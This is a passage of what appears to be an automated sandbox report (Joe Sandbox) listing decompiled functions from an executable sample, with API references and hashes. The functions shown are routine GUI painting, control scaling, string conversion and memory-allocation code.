									_v16 = ExcludeClipRect(_t73,  *(_t63 + 0x24),  *(_t63 + 0x28),  *(_t63 + 0x24) +  *((intOrPtr*)(_t63 + 0x2c)),  *(_t63 + 0x28) +  *((intOrPtr*)(_t63 + 0x30)));
									if(_v16 != 1) {
										goto L11;
									}
								}
							} else {
								goto L11;
							}
							goto L12;
							L11:
							_t97 = _t97 + 1;
							_t95 = _t95 - 1;
						} while (_t95 != 0);
					}
					L12:
					if(_v16 != 1) {
						 *((intOrPtr*)( *_v8 + 0x70))();
					}
					RestoreDC(_t73, _v20);
				} else {
					 *((intOrPtr*)( *_v8 + 0x70))();
				}
				E00416E48(_v8, 0, _t73);
				_pop(_t87);
				 *[fs:eax] = _t87;
				_push(E00416E14);
				_t54 = _v12;
				if( *((intOrPtr*)(_t54 + 4)) == 0) {
					return EndPaint(E004182A8(_v8),  &_v84);
				}
				return _t54;
			}

0x00416cf5
0x00416cf7
0x00416cfd
0x00416d00
0x00416d06
0x00416d0b
0x00416d1f
0x00416d1f
0x00416d23
0x00416d24
0x00416d29
0x00416d2c
0x00416d39
0x00416d50
0x00416d53
0x00416d66
0x00416d69
0x00416d6b
0x00416d6c
0x00416d6e
0x00416d79
0x00416d82
0x00416d94
0x00000000
0x00416d96
0x00416db1
0x00416db8
0x00000000
0x00000000
0x00416db8
0x00000000
0x00000000
0x00000000
0x00000000
0x00416dba
0x00416dba
0x00416dbb
0x00416dbb
0x00416d6e
0x00416dbe
0x00416dc2
0x00416dcb
0x00416dcb
0x00416dd3
0x00416d3b
0x00416d42
0x00416d42
0x00416ddf
0x00416de6
0x00416de9
0x00416dec
0x00416df1
0x00416df8
0x00000000
0x00416e07
0x00416e0c

APIs

BeginPaint.USER32(00000000,?), ref: 00416D1A
SaveDC.GDI32(?), ref: 00416D4B
ExcludeClipRect.GDI32(?,?,?,?,?,?,00000000,00416E0D), ref: 00416DAC
RestoreDC.GDI32(?,?), ref: 00416DD3
EndPaint.USER32(00000000,?,00416E14,00000000,00416E0D), ref: 00416E07

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Paint$BeginClipExcludeRectRestoreSave
String ID:
API String ID: 3808407030-0
Opcode ID: 00e150e368ed395aa4cb19d220a76acfea4c7132713746b4edbbefb6b4a93cd9
Instruction ID: 3f50a158c09fa7d40c74242d7866ae8e121bb2ea373f5648e482b570019b9da3
Opcode Fuzzy Hash: 00e150e368ed395aa4cb19d220a76acfea4c7132713746b4edbbefb6b4a93cd9
Instruction Fuzzy Hash: BD414F70A00204AFCB14DBA9D985FAEB7F9EF49304F1641AEE80497362C778DD41CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004148C8 Relevance: 7.6, APIs: 5, Instructions: 102
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004148C8(intOrPtr* __eax, int __ecx, int __edx) {
				char _t46;
				signed char _t76;
				int _t83;
				intOrPtr* _t84;
				int _t85;
				int* _t87;

				 *_t87 = __ecx;
				_t83 = __edx;
				_t84 = __eax;
				if(__edx !=  *_t87) {
					if(( *(__eax + 0x1c) & 0x00000001) == 0) {
						_t76 =  *E004149D4; // 0x1f
					} else {
						_t76 =  *((intOrPtr*)(__eax + 0x5c));
					}
					if((_t76 & 0x00000001) == 0) {
						_t85 =  *(_t84 + 0x24);
					} else {
						_t85 = MulDiv( *(_t84 + 0x24), _t83,  *_t87);
					}
					if((_t76 & 0x00000002) == 0) {
						_t87[1] =  *(_t84 + 0x28);
					} else {
						_t87[1] = MulDiv( *(_t84 + 0x28), _t83,  *_t87);
					}
					if((_t76 & 0x00000004) == 0 || ( *(_t84 + 0x35) & 0x00000001) != 0) {
						_t87[2] =  *(_t84 + 0x2c);
					} else {
						_t87[2] = MulDiv( *(_t84 + 0x24) +  *(_t84 + 0x2c), _t83,  *_t87) - _t85;
					}
					if((_t76 & 0x00000008) == 0 || ( *(_t84 + 0x35) & 0x00000002) != 0) {
						_t87[3] =  *(_t84 + 0x30);
					} else {
						_t87[3] = MulDiv( *(_t84 + 0x28) +  *(_t84 + 0x30), _t83,  *_t87) - _t87[1];
					}
					 *((intOrPtr*)( *_t84 + 0x4c))(_t87[4], _t87[2]);
					if( *((char*)(_t84 + 0x39)) == 0 && (_t76 & 0x00000010) != 0) {
						E0041A46C( *((intOrPtr*)(_t84 + 0x44)), MulDiv(E0041A450( *((intOrPtr*)(_t84 + 0x44))), _t83,  *_t87));
					}
				}
				_t46 =  *0x4149d8; // 0x0
				 *((char*)(_t84 + 0x5c)) = _t46;
				return _t46;
			}

0x004148cf
0x004148d2
0x004148d4
0x004148d9
0x004148e3
0x004148ea
0x004148e5
0x004148e5
0x004148e5
0x004148f3
0x00414907
0x004148f5
0x00414903
0x00414903
0x0041490d
0x00414926
0x0041490f
0x0041491d
0x0041491d
0x0041492d
0x00414951
0x00414935
0x00414948
0x00414948
0x00414958
0x0041497e
0x00414960
0x00414975
0x00414975
0x00414996
0x0041499d
0x004149bd
0x004149bd
0x0041499d
0x004149c2
0x004149c7
0x004149d1

APIs

MulDiv.KERNEL32(?,?,?), ref: 004148FE
MulDiv.KERNEL32(?,?,?), ref: 00414918
MulDiv.KERNEL32(?,?,?), ref: 00414941
MulDiv.KERNEL32(?,?,?), ref: 0041496C
MulDiv.KERNEL32(00000000,?,00000000), ref: 004149B4

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7390ee9ac16f09bdc99c1280845292df1e4ced5812246f729178c8d7ae4dc2ea
Instruction ID: b2fcc88294246e7fdf377a3e38791ba580108d4baa7c4e185119fc48081c3c44
Opcode Fuzzy Hash: 7390ee9ac16f09bdc99c1280845292df1e4ced5812246f729178c8d7ae4dc2ea
Instruction Fuzzy Hash: DF313EB0614741AFC720DB39C944AA7B7E8AF89724F04891EF9D9C7752C638F880CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00429894 Relevance: 7.6, APIs: 5, Instructions: 83
windowCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E00429894(void* __eax, void* __ebx, intOrPtr __ecx, int __edx, void* __edi, void* __esi) {
				intOrPtr _v8;
				char _v12;
				long _t27;
				long _t34;
				int _t42;
				int _t43;
				intOrPtr _t50;
				int _t54;
				void* _t57;
				void* _t60;

				_v12 = 0;
				_v8 = __ecx;
				_t54 = __edx;
				_t57 = __eax;
				_push(_t60);
				_push(0x42997f);
				_push( *[fs:eax]);
				 *[fs:eax] = _t60 + 0xfffffff8;
				if(__edx >= 0) {
					_t42 = SendMessageA(E004182A8( *((intOrPtr*)(__eax + 8))), 0xbb, __edx, 0);
					if(_t42 < 0) {
						_t43 = SendMessageA(E004182A8( *((intOrPtr*)(_t57 + 8))), 0xbb, _t54 - 1, 0);
						if(_t43 >= 0) {
							_t27 = SendMessageA(E004182A8( *((intOrPtr*)(_t57 + 8))), 0xc1, _t43, 0);
							if(_t27 != 0) {
								_t42 = _t43 + _t27;
								E00403708( &_v12, _v8, 0x429998);
								goto L6;
							}
						}
					} else {
						E00403708( &_v12, 0x429998, _v8);
						L6:
						SendMessageA(E004182A8( *((intOrPtr*)(_t57 + 8))), 0xb1, _t42, _t42);
						_t34 = E00403880(_v12);
						SendMessageA(E004182A8( *((intOrPtr*)(_t57 + 8))), 0xc2, 0, _t34);
					}
				}
				_pop(_t50);
				 *[fs:eax] = _t50;
				_push(0x429986);
				return E00403548( &_v12);
			}

0x0042989f
0x004298a2
0x004298a5
0x004298a7
0x004298ab
0x004298ac
0x004298b1
0x004298b4
0x004298b9
0x004298d5
0x004298d9
0x00429904
0x00429908
0x0042991b
0x00429922
0x00429924
0x00429931
0x00000000
0x00429931
0x00429922
0x004298db
0x004298e6
0x00429936
0x00429946
0x0042994e
0x00429964
0x00429964
0x004298d9
0x0042996b
0x0042996e
0x00429971
0x0042997e

APIs

SendMessageA.USER32 ref: 004298D0
SendMessageA.USER32 ref: 004298FF
SendMessageA.USER32 ref: 0042991B
SendMessageA.USER32 ref: 00429946
SendMessageA.USER32 ref: 00429964

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8e5dfd66703d97274265084b8db4141c868f22bca3892edfb9180d7bf1687cd5
Instruction ID: 47377c1862aa105c286af36649f9a3d734455abbd3099443d1a36276b08c5a1e
Opcode Fuzzy Hash: 8e5dfd66703d97274265084b8db4141c868f22bca3892edfb9180d7bf1687cd5
Instruction Fuzzy Hash: D5216DB07407057AE710BBA7DC82F8A76ECEF40715F5045BEB905A7791DAB8AD80861C

Uniqueness

Uniqueness Score: -1.00%

Function 0041BC80 Relevance: 7.6, APIs: 5, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E0041BC80(intOrPtr __eax, void* __ebx, intOrPtr __ecx, intOrPtr* __edx, void* __esi, void* __eflags) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				int _v28;
				char _v32;
				signed int _t51;
				intOrPtr _t52;
				signed int _t55;
				intOrPtr* _t65;
				intOrPtr _t85;
				signed int _t87;
				void* _t89;
				void* _t90;
				intOrPtr _t91;

				_t89 = _t90;
				_t91 = _t90 + 0xffffffe4;
				_v12 = __ecx;
				_t65 = __edx;
				_v8 = __eax;
				_v32 = GetSystemMetrics(0xb);
				_v28 = GetSystemMetrics(0xc);
				 *(_v8 + 8) =  *(_v8 + 8) >> 1;
				 *(_v8 + 0x14) = E0041BC6C( *(_v8 + 4) * ( *(_v8 + 0xe) & 0x0000ffff)) *  *(_v8 + 8);
				_t51 = E0041B5B0( *(_v8 + 0xe));
				_t87 = _t51;
				_push(0);
				L0040602C();
				_v20 = _t51;
				if(_v20 == 0) {
					E0041B45C();
				}
				_push(_t89);
				_push(0x41be45);
				_push( *[fs:edx]);
				 *[fs:edx] = _t91;
				_t52 = _v8;
				_v24 = _t52 + 0x28 + (_t87 << 2);
				_push(0);
				_push(_t52);
				_push(_v24);
				_push(4);
				_push(_v8);
				_t55 = _v20;
				_push(_t55);
				L00405CDC();
				_v16 = _t55;
				if(_v16 == 0) {
					E0041B45C();
				}
				_push(_t89);
				_push(0x41bd68);
				_push( *[fs:eax]);
				 *[fs:eax] = _t91;
				 *_t65 = E0041B474(_v16, 0,  &_v32);
				_pop(_t85);
				 *[fs:eax] = _t85;
				_push(E0041BD6F);
				return DeleteObject(_v16);
			}

0x0041bc81
0x0041bc83
0x0041bc88
0x0041bc8b
0x0041bc8d
0x0041bc97
0x0041bca1
0x0041bca7
0x0041bcc7
0x0041bcd1
0x0041bcd6
0x0041bcd8
0x0041bcda
0x0041bcdf
0x0041bce6
0x0041bce8
0x0041bce8
0x0041bcef
0x0041bcf0
0x0041bcf5
0x0041bcf8
0x0041bcfb
0x0041bd0a
0x0041bd0d
0x0041bd12
0x0041bd16
0x0041bd17
0x0041bd1c
0x0041bd1d
0x0041bd20
0x0041bd21
0x0041bd26
0x0041bd2d
0x0041bd2f
0x0041bd2f
0x0041bd36
0x0041bd37
0x0041bd3c
0x0041bd3f
0x0041bd4f
0x0041bd53
0x0041bd56
0x0041bd59
0x0041bd67

APIs

GetSystemMetrics.USER32 ref: 0041BC92
GetSystemMetrics.USER32 ref: 0041BC9C
740BAC50.USER32(00000000,00000001,0000000C,0000000B,?,?), ref: 0041BCDA
740BA7F0.GDI32(00000000,?,00000004,?,?,00000000,00000000,0041BE45,?,00000000,00000001,0000000C,0000000B,?,?), ref: 0041BD21
DeleteObject.GDI32(00000000), ref: 0041BD62

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: MetricsSystem$DeleteObject
String ID:
API String ID: 4263548647-0
Opcode ID: ebf46c03cac98e224d5af82ce3f50ae7f771ac334da26f83eeff5384ef9d9d29
Instruction ID: c65bf0c67bf8e5c994f3fd77b84131b0e4b597875354c07c771677eb7b7b2793
Opcode Fuzzy Hash: ebf46c03cac98e224d5af82ce3f50ae7f771ac334da26f83eeff5384ef9d9d29
Instruction Fuzzy Hash: BC313274E00608EFDB04DFA5C941AAEB7F5EF48704F1185AAF504A7391D7789E40DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00403DEC Relevance: 7.6, APIs: 5, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00403DEC(char* __eax) {
				short _v2064;
				short* _t8;
				short* _t15;
				char* _t16;
				short* _t17;
				int _t18;
				int _t19;

				_t16 = __eax;
				_t18 = E004036BC(__eax);
				if(E004036BC(_t16) >= 0x400) {
					_t8 = MultiByteToWideChar(0, 0, _t16, _t18, 0, 0);
					_t19 = _t8;
					_push(_t19);
					_push(0);
					L004012D0();
					_t17 = _t8;
					MultiByteToWideChar(0, 0, _t16, _t18, _t17, _t19);
				} else {
					_push(MultiByteToWideChar(0, 0, E00403880(_t16), _t18,  &_v2064, 0x400));
					_t15 =  &_v2064;
					_push(_t15);
					L004012D0();
					_t17 = _t15;
				}
				return _t17;
			}

0x00403df6
0x00403dff
0x00403e0d
0x00403e44
0x00403e49
0x00403e4b
0x00403e4c
0x00403e4e
0x00403e53
0x00403e5d
0x00403e0f
0x00403e2b
0x00403e2c
0x00403e30
0x00403e31
0x00403e36
0x00403e36
0x00403e6e

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403E26
SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403E31
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00403E44
SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 00403E4E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00403E5D

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ByteCharMultiWide$AllocString
String ID:
API String ID: 262959230-0
Opcode ID: a1d5a16539d5729e30e1d1df62381961c0ebc6718be827e074fe47fdb24492b9
Instruction ID: 8553b393521568fe2c41fe67b513b28362bdb8871c566aa6fe10746e1f77f2e9
Opcode Fuzzy Hash: a1d5a16539d5729e30e1d1df62381961c0ebc6718be827e074fe47fdb24492b9
Instruction Fuzzy Hash: D6F044613442043AE16035A64C87FA7298CCB41BDAF10057EB708FA2D1D8B99D0442FD

Uniqueness

Uniqueness Score: -1.00%

Function 004144A8 Relevance: 7.6, APIs: 5, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E004144A8(intOrPtr* __eax, void* __ecx, signed int __edx, void* __eflags) {
				void* _v4;
				intOrPtr _v7;
				char _v19;
				intOrPtr _v36;
				char _v47;
				void* __ebx;
				signed int _t16;
				void* _t21;
				void* _t29;
				signed int _t30;
				intOrPtr* _t31;
				void* _t32;
				signed int* _t33;

				_t33 = _t32 + 0xfffffff8;
				 *_t33 = __edx;
				_t31 = __eax;
				_v19 = 0;
				_t29 = E00402D48(__eax, 0xffef, __ecx, __eflags);
				if(_t29 != 0) {
					_t21 =  *((intOrPtr*)( *_t31 + 0x30))();
					_t16 = ( *_t33 ^ 0x00000001) & 0x0000007f;
					_push(_t16);
					_push(_t29);
					_push(_t21);
					L00405E2C();
					_t30 = _t16;
					_push(_t21);
					L00405DEC();
					if(_t16 != 0) {
						 *((intOrPtr*)( *_t31 + 0x44))();
					}
					_push(1);
					_push(_t30);
					_push(_t21);
					L00405E2C();
					_push(_t21);
					L00405DEC();
					_push(_t21);
					_push(_v36);
					L00406214();
					_v47 = 1;
				}
				return _v7;
			}

0x004144ab
0x004144ae
0x004144b1
0x004144b3
0x004144c3
0x004144c7
0x004144d4
0x004144db
0x004144de
0x004144df
0x004144e0
0x004144e1
0x004144e6
0x004144e8
0x004144e9
0x004144f0
0x004144f6
0x004144f6
0x004144f9
0x004144fb
0x004144fc
0x004144fd
0x00414502
0x00414503
0x00414508
0x0041450d
0x0041450e
0x00414513
0x00414513
0x00414521

APIs

740BB410.GDI32(00000000,00000000,00000000), ref: 004144E1
740BB150.GDI32(00000000,00000000,00000000,00000000), ref: 004144E9
740BB410.GDI32(00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 004144FD
740BB150.GDI32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 00414503
740BB380.USER32(00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 0041450E

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: B150B410$B380
String ID:
API String ID: 2237492430-0
Opcode ID: d4537fdfc788aeebb9a2e69f75dd2e1211b83efa39a5fff194788b356ba8a41d
Instruction ID: 83d045a3d997561e5c3a0c06dd80eb92e83f219617ccc8c1327c6f1541475871
Opcode Fuzzy Hash: d4537fdfc788aeebb9a2e69f75dd2e1211b83efa39a5fff194788b356ba8a41d
Instruction Fuzzy Hash: BD01DF352083806BC200B63E8C45A9F6BDD8FCA714F15446EF088DB282CA79CC018775

Uniqueness

Uniqueness Score: -1.00%

Function 00401550 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 45
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401550(void* __eax, void** __ecx, void* __edx) {
				void* _t4;
				void** _t9;
				void* _t13;
				void* _t14;
				long _t16;
				void* _t17;

				_t9 = __ecx;
				_t14 = __edx;
				_t17 = __eax;
				 *(__ecx + 4) = 0x100000;
				_t4 = VirtualAlloc(__eax, 0x100000, 0x2000, 4);
				_t13 = _t4;
				 *_t9 = _t13;
				if(_t13 == 0) {
					_t16 = _t14 + 0x0000ffff & 0xffff0000;
					_t9[1] = _t16;
					_t4 = VirtualAlloc(_t17, _t16, 0x2000, 4);
					 *_t9 = _t4;
				}
				if( *_t9 != 0) {
					_t4 = E004013A0(0x48d440, _t9);
					if(_t4 == 0) {
						VirtualFree( *_t9, 0, 0x8000);
						 *_t9 = 0;
						return 0;
					}
				}
				return _t4;
			}

0x00401554
0x00401556
0x00401558
0x0040155a
0x0040156e
0x00401573
0x00401575
0x00401579
0x00401581
0x00401587
0x00401593
0x00401598
0x00401598
0x0040159d
0x004015a6
0x004015ad
0x004015b9
0x004015c0
0x00000000
0x004015c0
0x004015ad
0x004015c6

APIs

VirtualAlloc.KERNEL32(?,00100000,00002000,00000004,D$i,?,?,?,004018BC), ref: 0040156E
VirtualAlloc.KERNEL32(?,?,00002000,00000004,?,00100000,00002000,00000004,D$i,?,?,?,004018BC), ref: 00401593
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00100000,00002000,00000004,D$i,?,?,?,004018BC), ref: 004015B9

Strings

T$i, xrefs: 004015A1
D$i, xrefs: 00401553

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Virtual$Alloc$Free
String ID: D$i$T$i
API String ID: 3668210933-2756991575
Opcode ID: c2b0f3fade7ad157efe563855359670f5ddb77ce3c82f0c062fbc664096f6b73
Instruction ID: e0d0b015050b5481bd3d53f22c7759b5726a2af946e69c156e98c197fffefea5
Opcode Fuzzy Hash: c2b0f3fade7ad157efe563855359670f5ddb77ce3c82f0c062fbc664096f6b73
Instruction Fuzzy Hash: 2FF0C8717413206BE7315A294C85F173BD49B85754F104076FE08FF3DAD6785800836C

Uniqueness

Uniqueness Score: -1.00%

Function 0045693F Relevance: 7.5, APIs: 2, Strings: 3, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0045693F(void* __ebx, void* __edi, void* __esi) {
				void* _t6;
				void* _t13;
				void* _t27;
				intOrPtr _t30;
				void* _t34;

				_t6 =  *0x49df30 - 1;
				if(_t6 == 0) {
					SetLastError( *0x49df34);
					E00451E44("LoadLibrary", __ebx, _t27, __edi, __esi, __eflags);
				} else {
					_t13 = _t6 - 1;
					if(_t13 == 0) {
						SetLastError( *0x49df34);
						E00451E44("GetProcAddress", __ebx, _t27, __edi, __esi, __eflags);
					} else {
						_t37 = _t13 == 1;
						if(_t13 == 1) {
							__eflags = E004063B4( *0x49df34);
							if(__eflags != 0) {
								E00451EEC( *0x0048CA5C, __ebx,  *0x49df34, __edi, __esi, __eflags);
							}
						} else {
							E00451DE8("HelperRegisterServer: StatusCode invalid", __ebx, __edi, __esi, _t37);
						}
					}
				}
				_pop(_t30);
				 *[fs:eax] = _t30;
				_push(E004569CB);
				return E00403548(_t34 - 0xc);
			}

0x00456944
0x00456945
0x00456955
0x0045695f
0x00456947
0x00456947
0x00456948
0x0045696c
0x00456976
0x0045694a
0x0045694a
0x0045694b
0x00456987
0x00456989
0x0045699d
0x0045699d
0x0045694d
0x004569a9
0x004569a9
0x0045694b
0x00456948
0x004569b0
0x004569b3
0x004569b6
0x004569c3

APIs

SetLastError.KERNEL32(?), ref: 00456955
SetLastError.KERNEL32(?), ref: 0045696C

Strings

GetProcAddress, xrefs: 00456971
HelperRegisterServer: StatusCode invalid, xrefs: 004569A4
LoadLibrary, xrefs: 0045695A

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ErrorLast
String ID: GetProcAddress$HelperRegisterServer: StatusCode invalid$LoadLibrary
API String ID: 1452528299-1321573290
Opcode ID: 82b3930b3ebbd04eca898e3712e51c71d1ebe08aee199a6e1fecedf9574e4dee
Instruction ID: 7fc71ba1eee109a84b7e32a822ab3a0f054f86a781db50bf2e0c3a492acbb2a4
Opcode Fuzzy Hash: 82b3930b3ebbd04eca898e3712e51c71d1ebe08aee199a6e1fecedf9574e4dee
Instruction Fuzzy Hash: 59F031B06240405BCE10EB69994256A73A4EB843473D3453BAC01D726BDA3CDD0DD71E

Uniqueness

Uniqueness Score: -1.00%

Function 00424DA8 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 190
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00424DA8(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char _v33;
				intOrPtr _v40;
				char _v44;
				struct tagRECT _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				int _v72;
				int _v76;
				char _v80;
				struct tagRECT _v96;
				int _v100;
				char _v104;
				void _v120;
				char _v124;
				CHAR* _t153;
				void* _t183;
				intOrPtr _t202;
				intOrPtr* _t226;
				intOrPtr* _t228;
				void* _t232;

				_v124 = 0;
				_v32 = 0;
				asm("movsd");
				asm("movsd");
				_t183 = __eax;
				_push(_t232);
				_push(0x424ffa);
				_push( *[fs:eax]);
				 *[fs:eax] = _t232 + 0xffffff88;
				 *((char*)(__eax + 0x38)) = 0;
				if( *((char*)(__eax + 0x64)) == 0 ||  *((intOrPtr*)(__eax + 0x40)) == 0 ||  *((intOrPtr*)(__eax + 0x60)) == 0 || E0041F13C() == 0) {
					L13:
					E00424D80(_t183);
				} else {
					_t226 =  *((intOrPtr*)(_t183 + 0x40));
					_v80 = _t226;
					 *((intOrPtr*)( *_t226 + 0x28))();
					_v76 = _v104;
					_v72 = _v100;
					_v72 = _v72 +  *((intOrPtr*)( *((intOrPtr*)(_t183 + 0x40)) + 0x30)) + 6;
					_v68 = E00423270();
					_v64 =  *((intOrPtr*)(_t183 + 0x3c));
					E00414724( *((intOrPtr*)(_t183 + 0x40)),  &_v120);
					memcpy( &_v60,  &_v120, 4 << 2);
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t183 + 0x40)))) + 0x28))();
					_t228 =  *((intOrPtr*)( *((intOrPtr*)(_t183 + 0x40)) + 0x20));
					if(_t228 == 0) {
						E0040ACE8(0,  &_v28, 0);
					} else {
						 *((intOrPtr*)( *_t228 + 0x28))();
					}
					OffsetRect( &_v60, _v28 - _v20, _v24 - _v16);
					_t42 =  &_v12; // 0x424d3e
					E00414884( *((intOrPtr*)(_t183 + 0x40)),  &_v104, _t42);
					_v44 = _v104;
					_v40 = _v100;
					E00423530( *((intOrPtr*)(_t183 + 0x40)),  &_v124);
					E004139F4(_v124,  &_v104,  &_v32);
					_v33 = E00415308( *((intOrPtr*)(_t183 + 0x40)), 0, 0xb030,  &_v80) == 0;
					if(_v33 != 0 &&  *((short*)(_t183 + 0xc6)) != 0) {
						 *((intOrPtr*)(_t183 + 0xc4))( &_v80);
					}
					 *((char*)(_t183 + 0x38)) = _v33;
					if(_v33 == 0 || _v32 == 0) {
						goto L13;
					} else {
						E0040AD1C(0, _v68, 0,  &_v96, 0);
						_t153 = E00403880(_v32);
						DrawTextA(E0041B15C( *((intOrPtr*)( *((intOrPtr*)(_t183 + 0x60)) + 0xfc))), _t153, 0xffffffff,  &_v96, 0xc10);
						OffsetRect( &_v96, _v76, _v72);
						_v96.right = _v96.right + 6;
						_v96.bottom = _v96.bottom + 2;
						E00414858( *((intOrPtr*)(_t183 + 0x40)),  &_v104,  &_v60);
						 *((intOrPtr*)(_t183 + 0x44)) = _v104;
						 *((intOrPtr*)(_t183 + 0x48)) = _v100;
						E00414858( *((intOrPtr*)(_t183 + 0x40)),  &_v104,  &(_v60.right));
						 *((intOrPtr*)(_t183 + 0x4c)) = _v104;
						 *((intOrPtr*)(_t183 + 0x50)) = _v100;
						E00414CF4( *((intOrPtr*)(_t183 + 0x60)), _v64);
